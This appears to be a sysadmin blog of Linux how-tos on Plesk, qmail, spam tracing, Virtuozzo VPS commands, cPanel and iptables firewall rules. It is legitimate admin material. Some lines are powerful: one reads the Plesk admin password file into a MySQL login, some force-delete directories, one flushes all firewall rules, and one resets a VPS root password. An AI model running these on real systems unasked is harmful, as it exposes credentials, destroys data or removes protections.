Qmail not sending mail: qmail-queue[26720]: cannot reinject message to mail system

For those interested, i fixed this issue. Forced a refresh of the psa-qmail rpm using the following procedure. Then applied art's qmail-scanner rpm and everything is good!

-----

Stop qmail:

service qmail stop
service courier-imap stop
service xinetd stop

Backup the bin and qmal queue directories:

mv /var/qmail/bin /var/qmail/bin.old
mv /var/qmail/queue /var/qmail/queue.old

Now refresh this installation. To do this, you will need a fresh copy of the psa-qmail rpm for your distribution. You can either download a tarball of all the rpms from the plesk website.

So then, refresh by running:

rpm -ivh --force psa-qmail*
Try again, and you should have overcome your injection problems!

service courier-imap start
service xinetd start

Keep it simple :-) 

No comments :

Post a Comment

Find files owned by user1 and chown to user2

find . -user user1 -exec chown user2 {} \;

or

find . -user user1 -exec chgrp grp2 {} \;

No comments :

Post a Comment

Mass rename (REMOVE ~ from beginning of files)

Have a directory with thousands of files each starting with a ~?

find . -depth|rename ’s/~//g’

No comments :

Post a Comment

allow_url_fopen per domain

On Plesk you can allow allow_url_fopen per domain by editting the vhost.conf file for that domain and set the php_admin_flag as bellow.

php_admin_flag allow_url_fopen on

Once you have done this, run the Plesk magicwand

/usr/local/psa/admin/sbin/websrvmng -v -a

No comments :

Post a Comment

Plesk domain status codes


List all active domains:

SELECT name FROM domains WHERE status = '0'

List all suspended domains:

SELECT name FROM domains WHERE status != '0'


List all expired (hosting) domains:

SELECT name FROM domains WHERE status = '256'


List all domains with backup/restore in progress:

SELECT name FROM domains WHERE status = '4'


List all domains suspended by client:

SELECT name FROM domains WHERE status = '64'

Connect to Plesk mysql database:

#mysql -uadmin -p`cat /etc/psa/.psa.shadow` -Dpsa

No comments :

Post a Comment

HOWTO: Catching spam on Plesk server

Check how many messages are in the queue with Qmail:

# /var/qmail/bin/qmail-qstatmessages in queue: 27645messages in queue but not yet preprocessed: 82

If the queue has too many messages, try to discover the source of SPAM.

If mail is being sent by an authorized user but not from the PHP script, you can run the command below to find the user that has sent the most messages (available since Plesk 8.x). Note that you must have the 'SMTP authorization' activated on the server to see these records:

# cat /usr/local/psa/var/log/maillog |grep -I smtp_auth |grep -I user |awk '{print $11}' |sort |uniq -c |sort -n

The path to 'maillog' may differ depending on the OS you are using.

The next step is to use "qmail-qread," which can be used to read the message headers:

# /var/qmail/bin/qmail-qread18 Jul 2005 15:03:07 GMT #2996948 9073 <user@domain.com> bouncingdone remote user1@domain1.comdone remote user2@domain2.comdone remote user3@domain3.com....

This shows the senders and recipients of messages. If the message contains too many recipients, probably this is spam. Now try to find this message in the queue by its ID ( # 2996948 in our example):

# find /var/qmail/queue/mess/ -name 2996948

Examine the message and find the line "Received" to find out from where it was sent for the first time. For example, if you find:

Received: (qmail 19514 invoked by uid 10003); 13 Sep 2005 17:48:22 +0700

it means that this message was sent via a CGI by user with UID 10003. Using this UID, it is possible to find the domain:

# grep 10003 /etc/passwd

If the 'Received' line contains a UID of a user 'apache' (for example invoked by uid 48), it means that spam was sent through a PHP script. In this case, you can try to find the spammer using information from spam email (address from/to or any other information). It is usually very difficult to discover the source of spam. If you are absolutely sure that this time there is a script which sends spam (tail grows rapidly for no apparent reason), you can use the following script to determine what PHP scripts are running at this time:

# lsof +r 1 -p `ps axww | grep httpd | grep -v grep | awk ' { if(!str) { str=$1 } else { str=str","$1}}END{print str}'` | grep vhosts | grep php

You can also apply the KB article which describes the procedure of discovering which domains are sending mail through PHP scripts.

Lines in Received section like

Received: (qmail 19622 invoked from network); 13 Sep 2005 17:52:36 +0700Received: from external_domain.com (192.168.0.1)

mean that the message has been accepted and delivered via SMTP, and that the sender is an authorized mail user.

No comments :

Post a Comment

HOWTO: Delete old directories from the commandline

The first one works quietly, while the second one will display what is being deleted. 
These are probably faster than putting it into a for loop, so feel free to use whatever works best in your particular situation!

# find /home/backup/ -maxdepth 1 -type d -mtime +7 -exec rm -r {} \;

# find /home/backup/ -maxdepth 1 -type d -mtime +7 -exec echo “Removing Directory => {}” \; -exec rm -rf “{}” \;

No comments :

Post a Comment

HOWTO: Finding number of connections to :25 port

To find out the largest number of established connections with port number.

#netstat -na | grep ‘ESTABLISHED’ | awk ‘{print $4}’ | uniq -c | sort -rn

To find out the number of connections to port 80 [http] from each IP.
#netstat -plan|grep :80|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -n

Similarly, you can find out the number of connections to port 25 from each IP as.
#netstat -plan|grep :25|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -n

NETSTAT is the most useful tool to detect and determine whether a server is under DoS or DDoS attack (Distributed Denial of Service).

No comments :

Post a Comment

VPS commands

1) vzlist -a : Shows list of all the VPS’s hosted on the Node.

(This is the ID)
CTID NPROC STATUS IP_ADDR HOSTNAME
1 96 running 67.xx.xx.xxx
358 77 running 67.xx.xx.xxx
454 124 running 67.xx.xx.xxx
525 79 running 74.xx.xx.xxx
527 92 running 67.xx.xx.xxx
568 73 running 74.xx.xx.xxx
570 86 running 67.xx.xx.xxx
574 11 running 75.xx.xx.xxx
579 13 running 75.xx.xx.xxx
583 79 running 67.xx.xx.xxx


2) vzctl start ID: To start the VPS.

[root@virtuozzo06 ~]# vzctl start 111
Starting Container …
Container is mounted
Setup slm memory limit
Setup slm subgroup (default)
Setting devperms 20002 dev 0x7d00
Adding port redirection to Container(1): 8443 4643
Adding IP address(es) to pool:
Adding IP address(es):
arpsend: 4 is detected on another computer : 00:1a:30:38:90:00
vz-net_add WARNING: arpsend -c 1 -w 1 -D -e 67.228.31.50 -e 67.228.43.67 -e 67.228.43.78 -e 75.126.196.183 -e 10.10.16.154 eth1 FAILED
Hostname for Container set:
File resolv.conf was modified
Container start in progress…
[root@virtuozzo06 ~]#


3) vzctl stop ID : To stop (Shut Down) the VPS

[root@virtuozzo06 ~]# vzctl stop 111
Stopping Container …
Container was stopped
Container is unmounted


4) vzctl status ID : To view the status of the particular VPS

[root@virtuozzo06 ~]# vzctl status 111
VEID 111 exist mounted running

5) vzctl stop ID –fast : to stop the VPS quickly and forcefully

[root@virtuozzo06 ~]# vzctl status 111
VEID 111 exist mounted running
[root@virtuozzo06 ~]# vzctl stop 111 –fast
Stopping Container …
Container was stopped
Container is unmounted


6) vzctl enter VPS_ID : To enter in a particular VPS

[root@virtuozzo06 ~]# vzctl enter 111
entered into Container 111
-bash-3.00#


Configuration Commands


1) vzctl set ID –hostname vps.domain.com –save : To set the Hostname of a VPS.
2) vzctl set ID –ipadd 1.2.3.4 –save : To add a new IP to the hosting VPS.
3) vzctl set ID –ipdel 1.2.3.4 –save : To delete the IP from VPS.
4) vzctl set ID –userpasswd root:new_password –save : to reset root password of a VPS.
5) vzctl set ID –nameserver 1.2.3.4 –save : To add the nameserver IP’s to the VPS.
6) vzctl exec ID command : To run any command on a VPS from Node.
7) vzyum ID install package_name : To install any package/Software on a VPS from Node.

No comments :

Post a Comment

HOWTO: Suspend/Unsuspend user's account on cPanel from commandline

To suspend an account: 

# /scripts/suspendacct <username>
To unsuspend an account: 

# /scripts/unsuspendacct <username>
If you still see the suspension page after un-suspending an account, go to the /home/username/public_html/.htaccess file and remove the redirect lines.

No comments :

Post a Comment

IPTABLES: ip_conntrack: table full, dropping packet.

The server reporting the following message in /var/log/messages (syslog):

ip_conntrack: table full, dropping packet.

How do I fix this error?

Generally, the ip_conntrack_max is set to the total MB of RAM installed multiplied by 16. 
However, server had 4GB of RAM, but ip_conntrack_max was set to 65536:

# cat /proc/sys/net/ipv4/ip_conntrack_max 65536

If you want to check your server's current tracked connections, just run the following:

# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_count

If you want to adjust it (as I did), just run the following as root:

# echo 131072 > /proc/sys/net/ipv4/ip_conntrack_max

This solves the problem at this moment, but after a reboot the initial value will be restored.
To make this persistent you have to add a line like 'net.ipv4.ip_conntrack_max=131072' to /etc/sysctl.conf

# echo 'net.ipv4.ip_conntrack_max=131072' >> /etc/sysctl.conf

No comments :

Post a Comment

Iptables: The Most Useful Rules

Displaying the Status of Your Firewall


Type the following command as root:

# iptables -L -n -v

Where,
-L : List rules.
-v : Display detailed information. This option makes the list command show the interface name, the rule options, and the TOS masks. The packet and byte counters are also listed, with the suffix 'K', 'M' or 'G' for 1000, 1,000,000 and 1,000,000,000 multipliers respectively.
-n : Display IP address and port in numeric format. Do not use DNS to resolve names. This will speed up listing.

To inspect firewall with line numbers, enter:


# iptables -n -L -v --line-numbers

You can use line numbers to delete or insert new rules into the firewall. 

To display INPUT or OUTPUT chain rules, enter:


# iptables -L INPUT -n -v# iptables -L OUTPUT -n -v --line-numbers

Stop / Start / Restart the Firewall

If you are using CentOS / RHEL / Fedora Linux, enter:
# service iptables stop
# service iptables start
# service iptables restart


You can use the iptables command itself to stop the firewall and delete all rules:

# iptables -F
# iptables -X
# iptables -t nat -F
# iptables -t nat -X
# iptables -t mangle -F
# iptables -t mangle -X
# iptables -P INPUT ACCEPT
# iptables -P OUTPUT ACCEPT
# iptables -P FORWARD ACCEPT

Where,
-F : Deleting (flushing) all the rules.
-X : Delete chain.
-t table_name : Select table (called nat or mangle) and delete/flush rules.
-P : Set the default policy (such as DROP, REJECT, or ACCEPT).

Delete Firewall Rules

To display line number along with other information for existing rules, enter:

# iptables -L INPUT -n --line-numbers
# iptables -L OUTPUT -n --line-numbers
# iptables -L OUTPUT -n --line-numbers | less
# iptables -L OUTPUT -n --line-numbers | grep 202.54.1.1

You will get the list of IP. 
Look at the number on the left, then use number to delete it. 
For example delete line number 4, enter:

# iptables -D INPUT 4OR find source IP 202.54.1.1 
and delete from rule:
# iptables -D INPUT -s 202.54.1.1 -j DROP

Where,
-D : Delete one or more rules from the selected chain

 Insert Firewall Rules

To insert one or more rules in the selected chain as the given rule number use the following syntax. First find out line numbers, enter:
# iptables -L INPUT -n --line-numbers
To insert rule between 1 and 2, enter:
# iptables -I INPUT 2 -s 202.54.1.2 -j DROP
To view updated rules, enter:
# iptables -L INPUT -n --line-numbers
Save Firewall Rules
To save firewall rules under CentOS / RHEL / Fedora Linux, enter:
# service iptables save
In this example, drop an IP and save firewall rules:
# iptables -A INPUT -s 202.5.4.1 -j DROP
# service iptables save

For all other distros use the iptables-save command:
# iptables-save > /root/my.active.firewall.rules
# cat /root/my.active.firewall.rules

Restore Firewall Rules

To restore firewall rules form a file called /root/my.active.firewall.rules, enter:
# iptables-restore < /root/my.active.firewall.rules
To restore firewall rules under CentOS / RHEL / Fedora Linux, enter:
# service iptables restart

Set the Default Firewall Policies

To drop all traffic:
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -P FORWARD DROP
# iptables -L -v -n
#### you will not able to connect anywhere as all traffic is dropped ###
# ping example.com
# wget http://www.kernel.org/pub/linux/kernel/v3.0/testing/linux-3.2-rc5.tar.bz2

Only Block Incoming Traffic

To drop all incoming / forwarded packets, but allow outgoing traffic, enter:
# iptables -P INPUT DROP
# iptables -P FORWARD DROP
# iptables -P OUTPUT ACCEPT
# iptables -A INPUT -m state --state NEW,ESTABLISHED -j ACCEPT
# iptables -L -v -n
### *** now ping and wget should work *** ###
# ping exmaple.com
# wget http://www.kernel.org/pub/linux/kernel/v3.0/testing/linux-3.2-rc5.tar.bz2

Drop Private Network Address On Public Interface

IP spoofing is nothing but to stop the following IPv4 address ranges for private networks on your public interfaces. Packets with non-routable source addresses should be rejected using the following syntax:
# iptables -A INPUT -i eth1 -s 192.168.0.0/24 -j DROP
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

IPv4 Address Ranges For Private Networks (make sure you block them on public interface)

  • 10.0.0.0/8 -j (A)
  • 172.16.0.0/12 (B)
  • 192.168.0.0/16 (C)
  • 224.0.0.0/4 (MULTICAST D)
  • 240.0.0.0/5 (E)
  • 127.0.0.0/8 (LOOPBACK)

Blocking an IP Address (BLOCK IP)

To block an attackers ip address called 1.2.3.4, enter:
# iptables -A INPUT -s 1.2.3.4 -j DROP
# iptables -A INPUT -s 192.168.0.0/24 -j DROP

Block Incoming Port Requests (BLOCK PORT)

To block all service requests on port 80, enter:
# iptables -A INPUT -p tcp --dport 80 -j DROP
# iptables -A INPUT -i eth1 -p tcp --dport 80 -j DROP
To block port 80 only for an ip address 1.2.3.4, enter:
# iptables -A INPUT -p tcp -s 1.2.3.4 --dport 80 -j DROP
# iptables -A INPUT -i eth1 -p tcp -s 192.168.1.0/24 --dport 80 -j DROP

Block Outgoing IP Address

To block outgoing traffic to a particular host or domain such as cyberciti.biz, enter:
# host -t a example.com
Note down its ip address and type the following to block all outgoing traffic to 75.126.153.206:
# iptables -A OUTPUT -d 75.126.153.206 -j DROP
You can use a subnet as follows:
# iptables -A OUTPUT -d 192.168.1.0/24 -j DROP
# iptables -A OUTPUT -o eth1 -d 192.168.1.0/24 -j DROP

Example - Block Facebook.com Domain

First, find out all ip address of facebook.com, enter:
# host -t a www.facebook.com
Sample outputs:
www.facebook.com has address 69.171.228.40
Find CIDR for 69.171.228.40, enter:
# whois 69.171.228.40 | grep CIDR
Sample outputs:
CIDR:           69.171.224.0/19
To prevent outgoing access to www.facebook.com, enter:
# iptables -A OUTPUT -p tcp -d 69.171.224.0/19 -j DROP
You can also use domain name, enter:
# iptables -A OUTPUT -p tcp -d www.facebook.com -j DROP
# iptables -A OUTPUT -p tcp -d facebook.com -j DROP
From the iptables man page:
... specifying any name to be resolved with a remote query such as DNS (e.g., facebook.com is a really bad idea), a network IP address (with /mask), or a plain IP address ...

#12: Log and Drop Packets

Type the following to log and block IP spoofing on public interface called eth1
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

By default everything is logged to /var/log/messages file.
# tail -f /var/log/messages
# grep --color 'IP SPOOF' /var/log/messages

#13: Log and Drop Packets with Limited Number of Log Entries

The -m limit module can limit the number of log entries created per time. This is used to prevent flooding your log file. To log and drop spoofing per 5 minutes, in bursts of at most 7 entries .
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

#14: Drop or Accept Traffic From Mac Address

Use the following syntax:
# iptables -A INPUT -m mac --mac-source 00:0F:EA:91:04:08 -j DROP
## *only accept traffic for TCP port # 8080 from mac 00:0F:EA:91:04:07 * ##
# iptables -A INPUT -p tcp --destination-port 22 -m mac --mac-source 00:0F:EA:91:04:07 -j ACCEPT

#15: Block or Allow ICMP Ping Request

Type the following command to block ICMP ping requests:
# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
# iptables -A INPUT -i eth1 -p icmp --icmp-type echo-request -j DROP

Ping responses can also be limited to certain networks or hosts:
# iptables -A INPUT -s 192.168.1.0/24 -p icmp --icmp-type echo-request -j ACCEPT
The following only accepts limited type of ICMP requests:
### ** assumed that default INPUT policy set to DROP ** #############
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
iptables -A INPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
iptables -A INPUT -p icmp --icmp-type time-exceeded -j ACCEPT
## ** all our server to respond to pings ** ##
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

#16: Open Range of Ports

Use the following syntax to open a range of ports:
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 7000:7010 -j ACCEPT

#17: Open Range of IP Addresses

Use the following syntax to open a range of IP address:
## only accept connection to tcp port 80 (Apache) if ip is between 192.168.1.100 and 192.168.1.200 ##
iptables -A INPUT -p tcp --destination-port 80 -m iprange --src-range 192.168.1.100-192.168.1.200 -j ACCEPT
## nat example ##
iptables -t nat -A POSTROUTING -j SNAT --to-source 192.168.1.20-192.168.1.25

#18: Established Connections and Restaring The Firewall

When you restart the iptables service it will drop established connections as it unload modules from the system under RHEL / Fedora / CentOS Linux. Edit, /etc/sysconfig/iptables-config and set IPTABLES_MODULES_UNLOAD as follows:
IPTABLES_MODULES_UNLOAD = no

#19: Help Iptables Flooding My Server Screen

Use the crit log level to send messages to a log file instead of console:
iptables -A INPUT -s 1.2.3.4 -p tcp --destination-port 80 -j LOG --log-level crit

#20: Block or Open Common Ports

The following shows syntax for opening and closing common TCP and UDP ports:
 
Replace ACCEPT with DROP to block port:
## open port ssh tcp port 22 ##
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 22 -j ACCEPT
 
## open cups (printing service) udp/tcp port 631 for LAN users ##
iptables -A INPUT -s 192.168.1.0/24 -p udp -m udp --dport 631 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -p tcp -m tcp --dport 631 -j ACCEPT
 
## allow time sync via NTP for lan users (open udp port 123) ##
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p udp --dport 123 -j ACCEPT
 
## open tcp port 25 (smtp) for all ##
iptables -A INPUT -m state --state NEW -p tcp --dport 25 -j ACCEPT
 
# open dns server ports for all ##
iptables -A INPUT -m state --state NEW -p udp --dport 53 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 53 -j ACCEPT
 
## open http/https (Apache) server port to all ##
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT
 
## open tcp port 110 (pop3) for all ##
iptables -A INPUT -m state --state NEW -p tcp --dport 110 -j ACCEPT
 
## open tcp port 143 (imap) for all ##
iptables -A INPUT -m state --state NEW -p tcp --dport 143 -j ACCEPT
 
## open access to Samba file server for lan users only ##
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 137 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 138 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 139 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 445 -j ACCEPT
 
## open access to proxy server for lan users only ##
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 3128 -j ACCEPT
 
## open access to mysql server for lan users only ##
iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
 

#21: Restrict the Number of Parallel Connections To a Server Per Client IP

You can use connlimit module to put such restrictions. To allow 3 ssh connections per client host, enter:
# iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT
Set HTTP requests to 20:
# iptables -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j DROP
Where,
  1. --connlimit-above 3 : Match if the number of existing connections is above 3.
  2. --connlimit-mask 24 : Group hosts using the prefix length. For IPv4, this must be a number between (including) 0 and 32.

#22: HowTO: Use iptables Like a Pro

For more information about iptables, please see the manual page by typing man iptables from the command line:
$ man iptables
You can see the help using the following syntax too:
# iptables -h
To see help with specific commands and targets, enter:
# iptables -j DROP -h

#22.1: Testing Your Firewall

Find out if ports are open or not, enter:
# netstat -tulpn
Find out if tcp port 80 open or not, enter:
# netstat -tulpn | grep :80
If port 80 is not open, start the Apache, enter:
# service httpd start
Make sure iptables allowing access to the port 80:
# iptables -L INPUT -v -n | grep 80
Otherwise open port 80 using the iptables for all users:
# iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
# service iptables save

Use the telnet command to see if firewall allows to connect to port 80:
$ telnet www.cyberciti.biz 80
Sample outputs:
Trying 75.126.153.206...
Connected to www.cyberciti.biz.
Escape character is '^]'.
^]
telnet> quit
Connection closed.
You can use nmap to probe your own server using the following syntax:
$ nmap -sS -p 80 www.cyberciti.biz
Sample outputs:
Starting Nmap 5.00 ( http://nmap.org ) at 2011-12-13 13:19 IST
Interesting ports on www.cyberciti.biz (75.126.153.206):
PORT   STATE SERVICE
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
I also recommend you install and use sniffer such as tcpdupm and ngrep to test your firewall settings.

Conclusion:

This post only list basic rules for new Linux users. You can create and build more complex rules. This requires good understanding of TCP/IP, Linux kernel tuning via sysctl.conf, and good knowledge of your own setup. Stay tuned for next topics:
  • Stateful packet inspection.
  • Using connection tracking helpers.
  • Network address translation.
  • Layer 2 filtering.
  • Firewall testing tools.
  • Dealing with VPNs, DNS, Web, Proxy, and other protocols.







No comments :

Post a Comment